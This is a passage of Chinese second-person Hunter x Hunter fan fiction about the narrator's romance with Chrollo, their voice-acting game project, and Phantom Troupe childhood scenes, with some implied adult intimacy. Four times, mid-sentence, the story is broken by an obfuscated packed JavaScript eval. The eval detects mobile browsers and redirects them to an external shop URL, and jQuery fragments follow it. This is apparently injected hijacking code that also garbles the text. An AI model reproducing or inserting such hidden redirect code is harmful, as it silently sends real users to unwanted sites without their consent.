“确实如此。”把戏被戳穿,他反而满含柔情地笑起来,“因为我只想讨你的欢心。” “朕心甚悦。赏爱妃一不要再表演变脸,二把嘴封上。” “怎么这样——” 你在他嘴边虚虚划了一道,示意他噤声。这人真的乖乖照做,抿着唇鼓起腮帮子,只剩一双大大的黑眸又淌着秋水般向你撒起娇来。 “咳咳,库洛洛先生,”你清清嗓,捏捏他的脸蛋,用一种与战友共进退的郑重语气说,“该继续见证kufufufu——库芙芙小姐的后宫了。” 说完你又乐起来。库洛洛疑惑kufufufu是什么,但由于被禁言而无法发声。 * 由于太想见到男玩家无能狂怒的评论,最后你并没有选择删去恶搞内容,而是告诉陀思学长一切都很完美。 联系好发行后,你又开始为自己心心念念的恋与猎人哐哐产出。完全没有为熟人尴尬的感觉,你自如地yy着他们谈恋爱会是什么蠢样。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17251002|197936||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先让他们吃点瘪吧。你在共通线加了很多迫害剧情,有时候写得自己都会笑出来。 库洛洛:“?” 你阻止了他放下书想过来看的动作:“学你的习去。” “……哦。” 没过多久,你又感觉到他在打量你。甚至不再是隐秘的视线,就是直勾勾地盯着你的一举一动,比起观察更像是一种追逐,一种期待。 你又要炸毛了:“你这书很没意思吗?” 男人遭到冷遇的小小失落,又因你的理睬而自动消失:“毕竟别人的转述还是不如本人啊。” “?” 你望向他手里拿着的杂志,随后一阵惊慌。 “你怎么偷看人东西!” 那是知名报社寄给你的,上面记录着对你的人物专访。虽然你拒绝露脸,线上采访还是接受的。你明明看完就放在了书柜最深处。 库洛洛又是无辜相:“我不知道不能看,偶然翻到就打开了。” 信他个鬼,这么多年了还不知道你肯定会害羞吗。 “……哦,那你看吧,不要发表评论就行了。” “那可以提问吗?” “不可以。” “……” 你选择性忽视男人脸上的表情和搞出的动静。可恶,才不要让他因为你承认自己谈过恋爱而得意!你只是觉得这样回答能让下次买你的乙游的人更放心而已,才没有承认他有过正式地位的意思。 然而库洛洛显然已经看完了所有问题与回答。你拒绝向他解释,他反而更将其理解成你态度上出现了软化,只是羞于亲口承认。最终他笑着在你耳后轻吻了一下,被你训斥后再次露出可怜模样。 你就这样被既敬业又想着翻身做主人的田螺哥照顾着,直到把所有线路的幸福HE和扭曲BE都写完。有时文思泉涌,田螺小哥识趣地靠在你身边安静看书;有时想不出剧情,香香软软的男仆会在夜深人静时主动为你服务、咳、美其名曰激发灵感。 他做完乱的手会在擦净后,轻轻在你后背拍打,唇怜惜地吻着额头直到你入睡。睡梦中隐约能听到小动物在迎接春天时的低哼。而你醒来后就会发现,昨晚没触及的地方也落下了红痕。 ……感谢他为你贡献了许多掉SAN的BE。 偶尔和学长见面,拿bgm和角色曲光碟的时候,你就要反过来安慰爱主心切的小男仆了。 比如现在。你看着在玄关磨蹭着低头往你脖子上印标记的男人,感到一阵失语。他的动作很慢,带着点踌躇,准备着随时等你拒绝一样。 ……如果学长真的是那个意思,这种挑衅只能适得其反。有时候男人的占有欲真的会让人变蠢。 “好啦,迟到可不符合商务礼仪。”你就着这个姿势,把他的头按到胸前阻止作乱,顺顺他柔软的黑发。“我该走了。” 从柔软中抬起头的男人竟少有地脸带红云,眼神怔忡。你亲了一口云朵软糯的边缘,然后利落地提包走人。他也没顾得上再黏糊。 * 残念,某贤内助预想的效果并没有达成。你用自己的念消除了这些痕迹。你的脸皮不能允许某些喜闻乐见事情在自己身上发生,而且今天你可是有大事要办的,不能让尊贵的合伙人心情不佳。 “加入配音吗……确实,如果有贴合的声线和配音演员出色的演技,角色的魅力可以展现得更直观。” 短暂的惊讶后,学长露出写作「我知道你已经有在行动了」的、礼貌中带着熟稔和狡黠的微笑,问出的却还是退一步的情况:“って、对于演员的人选,小姐您有头绪了吗?” “当然。关于这个,”他的问题正中下怀,你也乐得省去在他看来也不必要的引入,“学长,你不觉得自己的声音和隐藏男主非常契合吗?这个角色非你莫属啊。” 石田彰,有谁能拒绝石田彰!在你看来,一部游戏有石田彰的配音,就足以载入史册了(安详)! 12. 你的很久以前(6) “……其实你眼光还不错。” 对库洛洛改观之后,玛奇别扭又严肃地说。 不知为什么,你想起了影视剧中想维持权威和形象,但又受本能是非观驱使,对孩子认真道歉的家长。尽管想要装作不经意,让人听着还是硬邦邦的,因为道歉者本人并不擅长说软话。 【这就是傲娇吗!也太可爱了吧!?】 “玛奇,真的是我不应该开那种玩笑,我不是那个意思。”你哭笑不得。 这几年里,你的两拨朋友又没少干仗。有时候他们互相打架受了伤,都是你给包扎的。 库洛洛和侠客自不必说,富兰克林在的话也归你。窝金的手艺太差,玛奇并不愿意和他礼尚往来,最后他们俩也都由你接手。 两串人避着嬷嬷溜到医务室,一边坐一串,酷似调查○团和马○人围炉谈话。你跟其中一串聊天的时候,另一串就会陷入气氛诡异的沉默(只有窝金不受影响),后来也渐渐能平和地说上几句。但如果在垃圾山遇到,还是各自贯彻自己的行事作风,该干就干。 “……是吗。” 玛奇用眼神直白地说她不信。 好吧,你承认自己非常欢迎以及优待库洛洛的撒娇和邀约,但你真的不是变.态。 录像带卡顿的意外并没有影响清扫战队动画的放映效果,反而让库洛洛的才能脱颖而出。小小的身影站上偌大的舞台,临场一人分饰多角,让整个流星街都看到了他闪耀的梦想。 他的梦想不愿服从这片贫瘠土壤的引力,倔强地拒绝坠落、拒绝被埋没。就像是盐碱地里自发结成抽穗的、饱满的金色稻谷,珍贵又美好。谁会不为此而动容呢? 曾经崇尚暴力的几人也认可了库洛洛的才能,认为他能够改变流星街。载着对世界的好奇和热情,新的伙伴关系自发结成。 你和库洛洛翻译录像带里后续的台词,给成员们分好了角色。小演员们每天都极其投入地练习配音,甚至还自己做了道具刀排练动作,以便在台上表演得更生动。 “芬克斯,轻点劈!这刀不扛揍。” 还不懂得打假架的飞坦和芬克斯接受了你的武术指导。你示范了一下如何看似气势磅礴地出招,但是不对对方造成任何伤害。于是两个人自行开发出了各自踮脚转完一圈,再表情狰狞地互相出刀的动作,战地芭蕾似的。 窝金:“这个肯定亮瞎观众的眼!” 你:“……倒也不必。” 这感觉已经从朗读剧演变成了舞台剧,有点抢录像带画面的镜。 窝金和信长也试了一下,感觉非常好。 侠客建议:“你们可以直接再凑个武术节目了。” 萨拉萨:“确实,最后再加点什么能让气氛更热烈!” “那不如来个转手绢?肯定新鲜。” 你拿了两块布放手上转了转,自己还没弄成,武斗派四肢发达的几位已经不费吹灰之力就能完成立转手绢。 你鼓掌:“哇塞,咱去学学杂技说不定也能火。” 库洛洛试了试,也很快找到了诀窍。 小孩对此项创意惊叹不已,一边抛接着一边扭头问你:“这是你家乡的表演吗?” 你得意点头:“嗯哼。” “好想去那里旅行啊,一定还有很多有意思的东西吧!” 库洛洛眼里闪烁着对美好事物的期待,像是在憧憬万花筒另一端奇妙的缤纷。 “那等旅团出了名,大家一起去拉芙家乡表演吧?”侠客笑着大声说,“正好也让他们都看看,自己放跑了多优秀的人才!” “哈哈哈哈哈好!” “要去!绝对要去!” “也去我的家乡吧,虽然我也不知道是在哪里!” “那就全世界巡演咯!” …… 孩子们暖得你内心老泪纵横。可以的话真想都带回你家。 即便只是用不完整、不规则的碎玻璃片拼凑而成的万花筒,一样能窥见瑰丽梦幻的风景。而这一刻,你也不由得相信,确实存在着通往那片风景的道路,只是它太难寻、太难坚持。 * 随着动画出场人物的增加,旅团的人手又略显不足。小伙伴们七嘴八舌地讨论了一番,最终给你们的小团体起名为“幻影旅团”,用以招募新人。 新登场的“魔黑女王”是一个反派角色。库洛洛还记得你说自己喜欢反派,又乐颠颠地过来邀请你。 这好像按原著是给希拉的?你其实挺感兴趣,但她身上还有那么多谜团没有解开,你着实是不敢碰。 “嗯……”你指了笔记上几句魔黑女王的台词,“感觉她的性格,不太符合我喜欢的风格哎。” 库洛洛再受打击,但还是没有放弃:“那我以后亲自写剧本,创造一个你理想中的反派怎么样?现在就当做是练习嘛,拉芙,试试好不好?我想和你一起——” 你有些奇怪:“库洛洛,你为什么这么想和我一起配音?我们平常不是也一直待在一块吗。” “因为这是我最重要的梦想,我想和你一起实现呀!”库洛洛用一种理所当然的语气说着。 “说起来,我还不知道,拉芙你的梦想是什么?” “那当然是,”你大拇指和食指托着下巴比了个帅气的“耶”,“——变成有钱人(加重)。” “欸?”库洛洛变成豆豆眼,“没有其他想做的事吗?” “那就,和库洛洛一起变成有钱人吧。” “具体的职业呢?” “做什么都行,只要能发财。” “那、那和我一起当配音演员,一定能赚到钱的!”库洛洛即便还没有什么实际根据,依然拍着胸脯执着地鼓动你,“这样的话,咱们的梦想就是一样的了!” “好呀。”你笑眯眯地说,“那麻烦小库编剧给我写几个合适的角色咯。” “咳咳,”被你再次委婉拒绝后,库洛洛假意板着小脸,“演员的第一要义是不能太挑剧本和角色,这才可以充分展示自身的可塑性。” “哦,”你也装作蛮不在意,吊儿郎当地说,“那我可以当兼职演员,遇到喜欢的角色时我就是演员,没有的时候我就不是。” “拉芙!” 小孩见怎么都没法说动,最后像被抛弃的幼犬一样看着你,蓬松的中分头发耷拉得如同飞机耳。 “你和大家排练得不是很开心吗?为什么就是不肯答应我呢——” 糟糕,小孩真的伤心了。 “库洛洛,对不起呀。” 你抱着他,轻拍他的后背。 “呜——” 小孩脸上还是滴落了晶莹的小珍珠,濡湿你肩膀的布料。 “这样也太不公平了,我明明这么喜欢拉芙,可是为什么你总是——” 他没有说完,你却自觉地接上:“对不起。” 库洛洛难过的样子让你很心疼,同时又很满足。再要好的朋友也没有义务答应对方的每一个请求,可是一向懂事乖巧的库洛仔居然会因为你的拒绝而不高兴。这是不是说明,他已经非常依赖你、在意你了呢? 你乐得接受这份情感,无论它最终会被冠以怎样的定义。更何况,这样的日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17251003|197936||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子已经走向倒计时了。 “库洛洛,我会一直陪着你的。一直、一直。” 小孩吸吸鼻子,声音还含着哽咽:“真的吗?” “当然。不管发生什么,我都会在你身边。” “只有这一点,绝对不可以骗我哦?” 面对他突然小心冷静起来的求证,你好笑地说:“其他事上也没有骗过你吧?” 他带着鼻音轻哼了一声,竟莫名显得可爱。 布丁已经不足以安抚伤心的小奶犬,你第二天向嬷嬷请教了花环的编法,从宿舍楼下的小广场里采了几支淡雅的茉莉和清透的蓝雪花,编成漂亮的花环给库洛洛戴上。 库洛洛顶着花环,白皙的小脸泛起红霞,但并没有摘下来。他这天没有晨跑。旅团的小孩见了已经震惊到失声。 “你们……” 库洛洛歪头纯真地笑着,眼里的星星几乎要跃出来:“怎么了?” 飞坦:“笑得真恶心捏。” “别这样说啊,飞坦。”库洛仔脸上没见半分气恼,只是软绵绵地嗔怪。 怎么说呢,他现在有种,已经成神的感觉。不知道魂飘去哪里了。 飞坦:“……” 玛奇冲你了翻个大大的白眼:“我说你为什么今天偷偷摸摸地起这么早。” 你:“……(乖巧)” 你也脸红了。你以为他戴一会儿就会摘下来的,没想到会直接让所有人都看见啊! * “这样也太不公平了,我明明这么喜欢拉芙,可是为什么你总是——” 【为什么总是对我有所隐瞒呢?】 话说到一半却堪堪止住了。他知道,即便问出来,你也不会回答。你甚至不会高明地遮掩,找出的借口实在牵强。 明明说过“最喜欢库洛洛”这种话,实际上有很多心事都没有和他讲过呢。在你发呆时下意识微蹙的眉头,和笑意中藏着忧虑的眼神里,库洛洛早早意识到了这一点。 在其他朋友的邀约面前,你会优先库洛洛的,即便可能只是看一本你不怎么感兴趣的书,给你无意尊敬的教堂浇花。你时刻关注着他的情绪,在他哭鼻子时柔声哄他,即便说不能一起配音,还是会帮助他做想做的事。这份迁就让他既害怕对你造成负担,又觉得很开心。「最喜欢」就是这样独特的地位,你在他心里当然也是如此。 可是,与之强烈矛盾的是,那种不知为何比年长的嬷嬷还要深刻、甚至可以形容为「慈爱」以及「悲悯」的目光。不只对于他,在一些关于流星街、关于旅团的对话里,他经常能感受到。那和「最」不一样,是平等而恒常,以致温柔到无情的。 ……像是、教义里慈悲圣洁的真主一样。即便闭塞双目也可以共情教徒的苦楚,为之深切地哀痛。你听到了可能会夸张地干呕,因为你并不承认自己身上存在这一面。 【你在担心什么呢?】 可以的话,好想听你诉说。就像他的所有想法对你毫无保留一样,他也会认真地听,用自己被众人称赞聪慧的大脑帮你解决,接纳和肯定你袒露的一切。 现在不愿意说的话,等到他变得更可靠,不再是总被调侃的「大家的弟弟」时,是不是就可以更多依赖他一点了呢? 一定可以的。因为你最喜欢库洛洛啦。库洛洛非常自信,不管是实现梦想、改变流星街,还是让最重要的朋友彻底敞开心扉,他都很有把握。他怎么可能和最喜欢的人渐行渐远呢? 所以。即便现在有些失落,他也不会着急的。 【总有一天,一定要全部告诉我呀?】 13. 库洛洛的第零年(7) “……” 头大。 库洛洛坐在你旁边照旧看着古籍,你却许久没听到书页翻过的声音。 往常他看书时表情是淡然平和的,和你搭话才会自然而然地微笑。现在则是一直抿着嘴角向下撇的唇,扫过纸上字句的视线也有些涣散。 你知道,这是他真的在闹脾气的表现。 平常的小事还好,他不是会委屈自己的人,跟你撒个娇得点便宜就能顺势把自己哄好。但如果真的触到他在意的问题,他也一时调整不了情绪,没法心甘情愿地放下身段讨好你。 如果一直放着不管的话,他是会在沉默中暴走,还是索性直接不理你,就像你考大学时失联的那半年呢? 如果是后者,你倒是会松口气。前者的话,你也没招。 总之,暂且按兵不动。你观察了他一会,又扭回头看自己的台本。 “不哄我吗?” 骤然响起的声音激得你心脏狂跳几瞬。像是民俗恐游的住宅里供奉的土娃娃雕像突然活了一样,恐怖但早有铺垫。 【我、我才不会怕!】 说是怂,不如说是在心虚。你还拿不准库洛洛是否还介怀当年反复邀请你却被拒绝的事,自己却先拿上厚厚的台本开始为别人揣摩角色了。他能忍到现在你都佩服。 是的。陀思学长愿意为罗佳配音。毕竟是量身定制的角色,不管是言行举止的文雅、身怀理想的筹谋、对所有人包括自己的算计利用,还是神明一般审判罪罚的自负,都只有他才能驾驭。他对这个角色应该有很深的感触。 “不过配音还是个全新的领域呢,相关的技巧我还没有学习过。” 学长苍白的脸上绽开浅浅的笑容,映着窗外昏黄的日光,与深邃立体的五官组合竟显出奇异的艳丽。 “只拿出新手的水平恐怕会愧对玩家。小姐,您可以陪我练习吗?我想我会对罗佳的心理活动有更深的体会。” ……这就是你回来对着一大沓台词勾勾画画的原因了。你们这种人员极其精简的小作坊,配音导演的活当然还是落到你头上。不只有隐藏角色线,其他男主线路的表演你也要监督。 库洛洛好不容易在连日的亲密下松口,同意让你一个人出门。事到如今,他已经不会再为儿时的梦想有什么情感波动,最多只是感慨几下。可是在自行搜索了cv的音源,发现没有适合隐藏角色的人选后,从你带着犹豫的回答中得知了某项事实的男人还是非常之醋。 “……” 老实说,你并不擅长哄人。你的主动亲近只是意在表达「虽然不能如你的愿,但请相信我还是喜欢你的」,而库洛洛每次都能精准接收到,仅此而已。 既然如此,这回应该也不难?你捧起他的脸吻了上去。 他并没有回应,只是平静地接受着。 是不想要吗?你细细勾勒几轮,又退出去。他却闭着眼睛又追上来。 哦,看来是嫌哄得不够。你只好无限拉长这个吻,直到感觉他嘴唇快被你亲得红肿才松开。 这人的呼吸已经灼热,还坚持着不和你的唇舌交缠,嘴角滑落的透明涎水顺着脖颈蔓延,在家居服下隐没踪影。非常标准的欲迎还拒。 库洛洛微喘着气,和你对视还是沉默。你捏着他染上热度的白皙耳垂:“还在生气?” “……嗯。” “等有了合适的角色,我会委托你配音的。” 你揉按触感良好的肌肉,感受着一阵阵的颤栗。 “我在意的不是这个、嗯……” “我知道。” 如同在画布上色一般,你也在大片单调的雪白上点缀起梅红,让肉粉色的波点更加靡.丽。 但你没有对他说抱歉的立场。 “这只是为了角色的塑造而已,不包含什么特殊的情感倾向。” 他最强烈的反应已然被你掌握。在意的问题你也知晓。「为什么明知道库洛洛会吃醋,还是请了陀思学长来配音?」这是他真正介意的,而不是「为什么和别人一起实现儿时和库洛洛定下的梦想」。 库洛洛对那个梦想并没有执念。他接受在现在的自己看来并不成熟的过去,接受那些天真的想法,既不认同也不否定,就像他对这个世界的大多数人和事一样。既然他已经无意追寻那个梦想,你去寻找其他同伴也无可厚非。 但是,你的选择至关重要。为什么偏偏选了让他无法安心的人呢? “嗯、拉芙……” “库洛洛,我的梦想是成为有钱人,能赚钱的事情我要做到最好,不管是和谁合作。” 在他为快意迷乱时,你轻吻他的嘴唇,这次他下意识回吻着。 “我也可以的……” “你当田螺小哥还不够累?” 他被弄得无法再克制,你却好笑地说:“旅团已经快一年没活动过了吧,你都顾得过来吗?” “、我可以的。” 颤抖的尾音让他的承诺很没说服力。到达之后,他抱着你又认真地说了一遍“我会陪你做任何事。” 库洛洛身体力行地向你证明着他的诚意。作为一个曾经苦学钻研配音技巧,离成名只差入行的资深演员,他给你打出的台词做的标注和讲解非常清楚,有的场景你也不知道如何演绎才算合适,他给你现场示范的范本倒是提供了价值重大的参考。 乙游里少不了男女主角关系推进的事件。他很热衷于和你复现,而后又颇为在意地问:“那些演员的表演也都是你来听吗?”“你的学长不参与任何指导吗?” “他是新人,还需要我的指导。”你回答。 “这样啊。” 库洛洛平静地建议:“如果录音进度比较慢的话,可以考虑换人。” 你已经幻觉般感到一阵耳软。他以示范的名义,变换着声线和表情,把每个角色的肉麻台词都对你说了一遍,让你听得直脸红。对反应最强烈的那几句,晚上服务的时候还会在你耳边重复。 遭不住。永野老师赐予了他乐此不疲捉弄你的资本! “放心,你的声带已经是我独一无二的白月光。”你啧啧称奇,“以后绝对为你量身定制一个百变暗夜帝王。” 库洛洛拉过你的手,轻吻内侧的腕骨,而后抬起头温煦地笑着:“喜欢的话,自留也可以。想听什么我都会说的。” 你眼神死:“……定制一个牛郎其实也不错。” “诶?不要——” * 万幸的是 ,虽然还是很吃味,责任重大的库洛洛君并没有忘记自己的本职工作。 旅团虽然不是每次都全员出动,零零散散地为了保持威慑也得时不时出来干一票。这有一年多团长本人都没露脸,实在不合适。其他人没说什么已是足够体贴这个发小。 你白天都要去录音棚,库洛洛本想中午给你做好饭带过去,你实在不想他和陀思学长再碰面,顶着他磨人的视线硬是拒绝了。只有晚上能见到你的家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17251004|197936||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伙愈发黏糊,生怕你被人抢了似的。 不过,现在他也不得不接受,自己要和你分开几个月的事实。明明做决策的人是他,抱着你不肯撒手的人也是他。 你不解:“不用天天围着我转,不是应该高兴吗?你不会还没伺候够吧。” 说出去谁信啊,库洛洛当家庭主夫,还是上得工作下得厨房,斗得了锄头打得了流氓的高配版主夫。 “你一点也不想我吗?” 他埋在你颈间安静过肺,就像犬类临出门之前封存主人的气息。 “我想也没用啊,你又不会飞回来。” 坦白说你并不高兴。既然最后还是要为了旅团而走,为什么当初还要把你追回来呢?就算他已经有所让步,也不能解决横亘在你们之间的根本差异。 “有用的。”他在你锁骨落下一个轻柔的吻,几缕纯黑色的念力凝聚在指尖,“拉芙,我会一直陪着你。” 那些念缠绕在一起,慢慢在地上形成一个模糊的黑影,藤蔓般包裹着什么。成长完毕后,外壳无声地碎裂。 “拉芙——!你长大的样子也好可爱呀!” 他向你跑来。 数年未见的、刻在你心中天使一般的身影,此刻正对你露出熟悉的、灿烂的笑容。 “库洛仔!你一直都是最可爱的!”你搓搓他柔软的脸蛋,在他小巧的额头亲了一口。 “呦西,”你回头冷漠地看着甜甜库洛仔的制作者,“你现在就可以走了。” “好过分,”库洛洛拉着你的手摇晃,可怜兮兮地看着你,“你更喜欢过去的我吗?” “哥哥你就是长大后的我吗?”小甜库这才注意到俨然已经是成年男性的库洛洛,眼里又放出小星星,“你好帅呀!” 库洛洛无辜地看着你:“你看,连他都这么说。” “……” 库哥卖瓜,自卖自夸。 “你们关系还是这么好呀,真是太好啦!” 小孩并没有意识到,你们叠在一起的姿势有多么超出安全距离。 “哈哈哈……”你干笑。“这是……念兽?” 库洛洛回道:“嗯。我不在的时候,就由他负责照顾你,给你做饭、打扫卫生,和你聊天。” 你呆住了:“招用童工可是非法的哎。” 他轻挑眉:“理论上讲,他现在并不属于人类。” OMG。 你对于拥有一名可爱小男仆非常心动,但是一想到还不比灶台高多少的小孩要每天伺候人,罪恶感就淹没了你。 “能不能让他变成你十六七岁的样子?” 那时候他虽然不爱笑,但也很关心你的。 库洛洛一口回绝:“不行。” 这人怎么连自己的醋都吃。你又试探:“那变成小动物呢?” 他的表情出现松动:“你想要什么动物?” “布丁狗!” 他莞尔:“好。” 眨眼间,小甜库变成了更为小巧的浅黄色布丁狗,凭空朝你微笑。 短短的胳膊,圆圆的贝雷帽,黑色的中分小发顶下露出靶心状的十字,甚至身上还穿着袖珍版的团长毛大衣。 你戳了戳它的肚子,比棉团还软。 “好可爱——” 你摸摸它的小短手,它高兴地和你回握——虽然你并不能看出它的手指头在哪里。 不必有任何犹豫,你抓起小家伙吧唧吧唧亲了个爽。 14. 你的久以前(1) 旅团的表演大获成功,成员们都很有干劲。后面的练习进度已经快赶上已有的剧情,所以小伙伴们每天要轮流寻找新的录像带。 流星街最近失踪案频发,独自出行并不安全。可是表演在即,差的人数一多就会影响合练。最后大家商量的结果,还是轮流每个人单独去找,但在天黑前就回去。 “……唉。” 你望着快汇成海的垃圾堆叹气。 即便已经托清扫队的哥哥姐姐帮忙留意,还是像大海捞针一样。之前能找到几盘已经是运气极佳了。其实你们自己续写这个故事也不是不行,道具的话东拼西凑也勉强能用。 意料之中的一无所获。你只翻出了某本狗血言情的下卷,检查发现没有皇色描写后拿给库洛洛,当做教育小孩的反面教材。 小孩训练完后抱着津津有味地看,而你望儿石一样盯着他,眼神满含老母亲的不舍。 侠客替专注的读者后背发冷:“你不至于吧,咱们还小,一辈子很长的……” 你:“你不懂,人是会变的。” 侠客:“?” 你怎么把他台词抢了呢。 不甘与冲动还是驱使着你,在发现萨拉萨要离开时问她,要不要明天再去?她如常露出毫无阴霾的笑容:“没关系的,我也想早点看到后面的剧情!” 你只好嘱咐她,绝对不要去太过危险的地方。一定要早点回去。 但命运的那把死亡之剑还是坠落了,只是没有挥到你头顶。 之后的事情像自动播放的电影,快进慢回都不受你控制。你回去后那一晚静静无眠,在玛奇均匀的呼吸声中感受自己重重的心跳,如同被技艺不强的琴师胡乱按过的琴键。演出前,看着同伴们不安的脸庞,你也无法再说出大人一样宽慰的话。 你们没能在萨拉萨家找到她。放映会被迫中止。库洛洛捏着裤角在台上自责地对观众们道歉。在场的孩子们都愿意帮你们一起找,年幼的黑发小孩在他人的善意中动容地落泪鞠躬。 你们四处寻找萨拉萨,大喊着她的名字。库洛洛和窝金在森林外发现了她常戴的心形挎包。 咚。咚。咚。 一步一步,你们走近那个被吊在树上的包裹,走向幻影旅团既定的未来。 你想要闭上眼,不知为何最后又睁开了。于是你看到了让人干呕不止,又泪流不已的东西。经常和库洛洛一起学习外语的你,也能看懂纸条上字迹的含义。 窝金问你们:这是什么意思? 你和库洛洛都沉默。 窝金气得要走,玛奇拦住了他。这地方太冷了,你们不能丢下萨拉萨一个人。 你们收拾好悲恸的自己,带着已经无法再欢笑的萨拉萨去了教堂。神父说会有人来为她修补遗体。回去的路上没人说话。 惨剧从未停止。今天是流星街,明天又可能会是任何一个没有能力保护自己的路人。弱者只是饵食,被贪婪而残酷的上位者玩弄生死。 所以,你们不能在这里停下。 葬礼上,玛奇的那双眼睛看到了入殓师小姐身上萦绕的「气」,决定随她学习。你观察不到,但也准备和她一起走。希拉不见踪影,旅团的其他人也收拾行囊跟上——你们众多的人数遭到了姐姐的嫌弃。 “姐姐,我们很能干的!”你拉着侠客眨巴眼睛,把每个人都吹了一遍,“你看窝金和富兰克林都是大块头,力气超大的,可以劈柴背东西!芬克斯和飞坦读了好多漫画,可以每天给你讲故事!库洛洛头脑很聪明,懂得也多,可以帮你做事!” “哈?这些我本来自己也可以吧。”入殓师姐姐依然不屑。 “呜,姐姐……美女姐姐你就收留我们吧……” 你露出蛋花眼,侠客有样学样。 可惜库洛洛已经进入面瘫阶段,不然你本可以拉上他一起卖萌的。 姐姐皱了皱眉头,最后还是扶额叹气:“我一个人教不过来,我再叫找几个人来吧。” “好耶!谢谢姐姐!” * 你们的几个师傅似乎都是流星街的强者,对训练的要求也颇为严格。旅团开始了全员晨跑和锻炼,结束后才能打坐尝试打开精孔。 窝金是坐不住的,问师傅:“就没有其他能打开的方式吗?” 师傅说当然有,只是强制打开精孔比较危险,控制不好的话有可能死亡。 窝金自然是不怕的,当天就成功开了精孔。信长和芬克斯紧随其后,飞坦在朋友得意的嘲讽下也开了。 你:“……师傅,我也试试吧。” 派克震惊于你和以往完全不同的作风,还是先安抚:“不用着急的,这种方法还是太危险了,而且不能保证百分百成功。” 你的舍友玛奇一语道破原因:“你这几年都有时不时在床上盘腿坐吧。” “……嗯。” 你捂脸。不出意外的话,打坐一辈子都打不出名堂了!还不如趁现在旁边有人,总能想办法捞你一下。 师傅对你的天赋同情了一会,试图劝说你不要送死。你说你这样怕是也活不了多久,最终他还是以浑厚的气冲开了你的精孔。 “哇塞。” 你突然就能看见周身散着的一层白光,感受到自己的元阳汩汩外泄。 怎么控制来着?你茫然呆立,使不上力气。「气」哗哗外露,像瀑布淋头一样畅快又晕人。 你可不想直接被围观自己被掏干嗝屁的过程啊! …… 最终,在窝金他们急眼了的呼喊中,你强烈的自尊心还是让「气」停止了暴动。 “活着真好……” 你瘫坐在地上。 没有因为控制不了精孔而横死在旅团各位的面前,真好。 飞坦辣评:“真逊。” 你回敬:“那我死了你可别着急!” 略。你可是看见了,方才他那酷似雾○董香的新半边遮脸头下,还是露出了一只写满焦躁的金色眼睛。你差点不合时宜地笑场。 其他选择稳妥打坐的小伙伴与你不同,如此几天就找到了诀窍。后来师傅说,可能只是你没有受过指导,所以自己练 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17251005|197936||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 习才没有感觉。 不过,你是怎么知道「念」的存在的呢?只能打个哈哈说是家乡的小道消息了。 你们日常还要武力对练。这方面,师傅教的都是杀招,让你们彼此下手都不能留情。于是几个小孩每天互相揍得鼻青脸肿的。其中你最惨,胳膊都快抬不起来了。 真的集中练习上,你才发觉自己和小伙伴们的差距。你的体质不好不坏,但打架时即便脑子跟得上分析,手脚也跟不上过快的动作。而其他人都适应性更强,在流星街也属于天赋异禀的一批。 也或许,你潜意识仍然不想走上这样的道路,所以大脑的某个地方始终在克制战斗的本能,阻止自己的身体变得更凶狠、更锋利。 但是,还能如何呢?除此以外,你现在没有其他走出流星街的办法。 要离开这里,要过上想要的生活,你就必须变强。你不可以害怕厮杀,不能畏惧疼痛。死神只喜欢戏耍最恐惧他的人。 还是多练练吧?晚上师傅赶你们回去休息,你自觉地去外面继续比划。 及时复盘的话,确实有助于改正和提升。你思考着白天是哪几个回合害你惨遭毒手,试着作出其他反应,来反制对手。 “回撤?不,躲不过去的话还是直接揍其他地方……” “在做什么?” “噫!”你为黑暗中闪现在你身后,几乎要与夜色融为一体的漆黑影子而惊诧,“库洛洛,你用了「绝」?” “嗯。”他没什么情绪地说,“刚学会,想着刚才应该是个可以测试效果的场合。” “好过分,别拿我测试呀。”你无奈地笑了,“就结果而言,倒是大成功呢。” 库洛洛回了句“确实”,就不再说话。你看不清他脸上的表情,只有那双黑眸蒙着夜色的阴翳,又映着月光的皎洁。 一时间,你也不知道该说什么。不,其实你还可以问,他怎么不回去休息?也可以回答他你在自主练习。可是不知为何,话到嘴边就是说不出口。 萨拉萨死后,库洛洛很少再笑。确切地说,是没有再笑过。 